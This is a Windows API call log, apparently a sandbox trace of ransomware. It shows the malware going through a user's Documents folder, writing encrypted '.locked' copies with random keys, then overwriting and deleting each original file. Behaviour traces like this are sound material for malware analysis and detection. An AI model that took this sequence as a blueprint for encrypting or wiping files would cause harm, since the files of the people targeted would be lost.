	[0075.068] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\JgDjmwx dpNNCt.pdf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\jgdjmwx dpnnct.pdf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.068] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.068] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.068] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961f0 | out: pbBuffer=0x127961f0) returned 1
	[0075.068] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.069] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.071] SetEvent (hEvent=0xb4) returned 1
	[0075.071] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x70e1, lpOverlapped=0x0) returned 1
	[0075.072] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x70e1, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x70e1, lpOverlapped=0x0) returned 1
	[0075.073] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.073] CloseHandle (hObject=0xc4) returned 1
	[0075.074] CloseHandle (hObject=0xc0) returned 1
	[0075.074] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.075] SetEvent (hEvent=0xb4) returned 1
	[0075.075] SetEvent (hEvent=0x8c) returned 1
	[0075.075] SetEvent (hEvent=0x80) returned 1
	[0075.075] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.075] SetEvent (hEvent=0xa8) returned 1
	[0075.075] SetEvent (hEvent=0x80) returned 1
	[0075.075] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4d) returned 1
	[0075.077] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\JgDjmwx dpNNCt.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\jgdjmwx dpnnct.pdf")) returned 1
	[0075.120] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.120] SetEvent (hEvent=0xa8) returned 1
	[0075.120] SetEvent (hEvent=0x8c) returned 1
	[0075.125] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.125] SetEvent (hEvent=0x8c) returned 1
	[0075.125] SetEvent (hEvent=0x80) returned 1
	[0075.125] SetEvent (hEvent=0xb4) returned 1
	[0075.125] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.125] SetEvent (hEvent=0xb4) returned 1
	[0075.127] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.127] SetEvent (hEvent=0xb4) returned 1
	[0075.128] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.128] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.128] SetEvent (hEvent=0xb4) returned 1
	[0075.128] SetEvent (hEvent=0x80) returned 1
	[0075.128] SetEvent (hEvent=0x8c) returned 1
	[0075.128] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.128] SetEvent (hEvent=0x8c) returned 1
	[0075.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\JgDjmwx dpNNCt.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\jgdjmwx dpnnct.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.129] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.130] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.145] CloseHandle (hObject=0xc0) returned 1
	[0075.153] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\JgDjmwx dpNNCt.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\jgdjmwx dpnnct.pdf")) returned 1
	[0075.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\ZscHZDJ1hKDGY.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\zschzdj1hkdgy.pps"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb37239f0, ftCreationTime.dwHighDateTime=0x1d4d130, ftLastAccessTime.dwLowDateTime=0x19eedac0, ftLastAccessTime.dwHighDateTime=0x1d4c7e1, ftLastWriteTime.dwLowDateTime=0x19eedac0, ftLastWriteTime.dwHighDateTime=0x1d4c7e1, nFileSizeHigh=0x0, nFileSizeLow=0x11112)) returned 1
	[0075.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\ZscHZDJ1hKDGY.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\zschzdj1hkdgy.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.162] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\ZscHZDJ1hKDGY.pps.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\zschzdj1hkdgy.pps.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.163] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.163] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.163] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961f0 | out: pbBuffer=0x127961f0) returned 1
	[0075.163] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.164] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.166] SetEvent (hEvent=0x80) returned 1
	[0075.166] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x11112, lpOverlapped=0x0) returned 1
	[0075.168] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x11112, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x11112, lpOverlapped=0x0) returned 1
	[0075.170] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.170] CloseHandle (hObject=0xc4) returned 1
	[0075.171] CloseHandle (hObject=0xc0) returned 1
	[0075.171] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268c000*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268c000*, lpNumberOfCharsWritten=0x127ee83c*=0x4c) returned 1
	[0075.173] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.174] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\ZscHZDJ1hKDGY.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\zschzdj1hkdgy.pps")) returned 1
	[0075.179] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.179] SetEvent (hEvent=0xa8) returned 1
	[0075.179] SetEvent (hEvent=0x80) returned 1
	[0075.180] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.181] SetEvent (hEvent=0x80) returned 1
	[0075.181] SetEvent (hEvent=0x78) returned 1
	[0075.181] SetEvent (hEvent=0xb4) returned 1
	[0075.181] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.181] SetEvent (hEvent=0xb4) returned 1
	[0075.198] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.198] SetEvent (hEvent=0xa8) returned 1
	[0075.198] SetEvent (hEvent=0xb4) returned 1
	[0075.199] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.200] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.200] SetEvent (hEvent=0xb4) returned 1
	[0075.200] SetEvent (hEvent=0x78) returned 1
	[0075.200] SetEvent (hEvent=0x80) returned 1
	[0075.200] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.200] SetEvent (hEvent=0x80) returned 1
	[0075.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\ZscHZDJ1hKDGY.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\zschzdj1hkdgy.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.202] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.202] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.218] CloseHandle (hObject=0xc0) returned 1
	[0075.226] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\ZscHZDJ1hKDGY.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\zschzdj1hkdgy.pps")) returned 1
	[0075.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\bQRxFeoT.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\bqrxfeot.odt"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdfb96c0, ftCreationTime.dwHighDateTime=0x1d4ce04, ftLastAccessTime.dwLowDateTime=0x33a8f910, ftLastAccessTime.dwHighDateTime=0x1d4ca60, ftLastWriteTime.dwLowDateTime=0x33a8f910, ftLastWriteTime.dwHighDateTime=0x1d4ca60, nFileSizeHigh=0x0, nFileSizeLow=0xaa24)) returned 1
	[0075.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\bQRxFeoT.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\bqrxfeot.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.235] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\bQRxFeoT.odt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\bqrxfeot.odt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.236] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.236] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.236] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0075.236] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.236] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.238] SetEvent (hEvent=0x78) returned 1
	[0075.239] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0xaa24, lpOverlapped=0x0) returned 1
	[0075.240] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0xaa24, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0xaa24, lpOverlapped=0x0) returned 1
	[0075.241] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.241] CloseHandle (hObject=0xc4) returned 1
	[0075.242] CloseHandle (hObject=0xc0) returned 1
	[0075.242] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0075.243] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.243] SetEvent (hEvent=0x78) returned 1
	[0075.243] SetEvent (hEvent=0x80) returned 1
	[0075.243] SetEvent (hEvent=0xb4) returned 1
	[0075.243] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.243] SetEvent (hEvent=0xb4) returned 1
	[0075.243] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x47) returned 1
	[0075.245] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\bQRxFeoT.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\bqrxfeot.odt")) returned 1
	[0075.263] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.263] SetEvent (hEvent=0xa8) returned 1
	[0075.263] SetEvent (hEvent=0x80) returned 1
	[0075.284] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.284] SetEvent (hEvent=0x80) returned 1
	[0075.284] SetEvent (hEvent=0xb4) returned 1
	[0075.284] SetEvent (hEvent=0x78) returned 1
	[0075.284] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.284] SetEvent (hEvent=0x78) returned 1
	[0075.286] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.286] SetEvent (hEvent=0x78) returned 1
	[0075.287] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.287] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.287] SetEvent (hEvent=0x78) returned 1
	[0075.287] SetEvent (hEvent=0xb4) returned 1
	[0075.287] SetEvent (hEvent=0x80) returned 1
	[0075.287] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.287] SetEvent (hEvent=0x80) returned 1
	[0075.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\bQRxFeoT.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\bqrxfeot.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.288] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.289] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.304] CloseHandle (hObject=0xc0) returned 1
	[0075.313] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\bQRxFeoT.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\bqrxfeot.odt")) returned 1
	[0075.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\e7jktwAzMIP7-i51u.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\e7jktwazmip7-i51u.odt"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8d3690, ftCreationTime.dwHighDateTime=0x1d4d310, ftLastAccessTime.dwLowDateTime=0x65189e70, ftLastAccessTime.dwHighDateTime=0x1d4cee2, ftLastWriteTime.dwLowDateTime=0x65189e70, ftLastWriteTime.dwHighDateTime=0x1d4cee2, nFileSizeHigh=0x0, nFileSizeLow=0x213e)) returned 1
	[0075.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\e7jktwAzMIP7-i51u.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\e7jktwazmip7-i51u.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.322] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\e7jktwAzMIP7-i51u.odt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\e7jktwazmip7-i51u.odt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.323] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.323] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.323] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0075.323] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.323] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.325] SetEvent (hEvent=0xb4) returned 1
	[0075.325] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x213e, lpOverlapped=0x0) returned 1
	[0075.326] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x213e, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x213e, lpOverlapped=0x0) returned 1
	[0075.327] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.327] CloseHandle (hObject=0xc4) returned 1
	[0075.327] CloseHandle (hObject=0xc0) returned 1
	[0075.328] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.328] SetEvent (hEvent=0xb4) returned 1
	[0075.328] SetEvent (hEvent=0x80) returned 1
	[0075.328] SetEvent (hEvent=0x78) returned 1
	[0075.328] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.329] SetEvent (hEvent=0xa8) returned 1
	[0075.329] SetEvent (hEvent=0x78) returned 1
	[0075.329] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x50) returned 1
	[0075.331] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\e7jktwAzMIP7-i51u.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\e7jktwazmip7-i51u.odt")) returned 1
	[0075.349] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.349] SetEvent (hEvent=0xa8) returned 1
	[0075.350] SetEvent (hEvent=0x80) returned 1
	[0075.354] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.354] SetEvent (hEvent=0x80) returned 1
	[0075.354] SetEvent (hEvent=0x78) returned 1
	[0075.354] SetEvent (hEvent=0xb4) returned 1
	[0075.354] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.355] SetEvent (hEvent=0xb4) returned 1
	[0075.356] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.356] SetEvent (hEvent=0xb4) returned 1
	[0075.357] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.357] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.357] SetEvent (hEvent=0xb4) returned 1
	[0075.357] SetEvent (hEvent=0x78) returned 1
	[0075.357] SetEvent (hEvent=0x80) returned 1
	[0075.357] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.357] SetEvent (hEvent=0x80) returned 1
	[0075.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\e7jktwAzMIP7-i51u.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\e7jktwazmip7-i51u.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.358] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.359] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.386] CloseHandle (hObject=0xc0) returned 1
	[0075.395] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e34RV1owXwdn9\\e7jktwAzMIP7-i51u.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e34rv1owxwdn9\\e7jktwazmip7-i51u.odt")) returned 1
	[0075.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gt7FMXw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gt7fmxw.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde51e7c0, ftCreationTime.dwHighDateTime=0x1d50b95, ftLastAccessTime.dwLowDateTime=0xb7d10a40, ftLastAccessTime.dwHighDateTime=0x1d4f49d, ftLastWriteTime.dwLowDateTime=0xb7d10a40, ftLastWriteTime.dwHighDateTime=0x1d4f49d, nFileSizeHigh=0x0, nFileSizeLow=0x7547)) returned 1
	[0075.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gt7FMXw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gt7fmxw.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.404] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
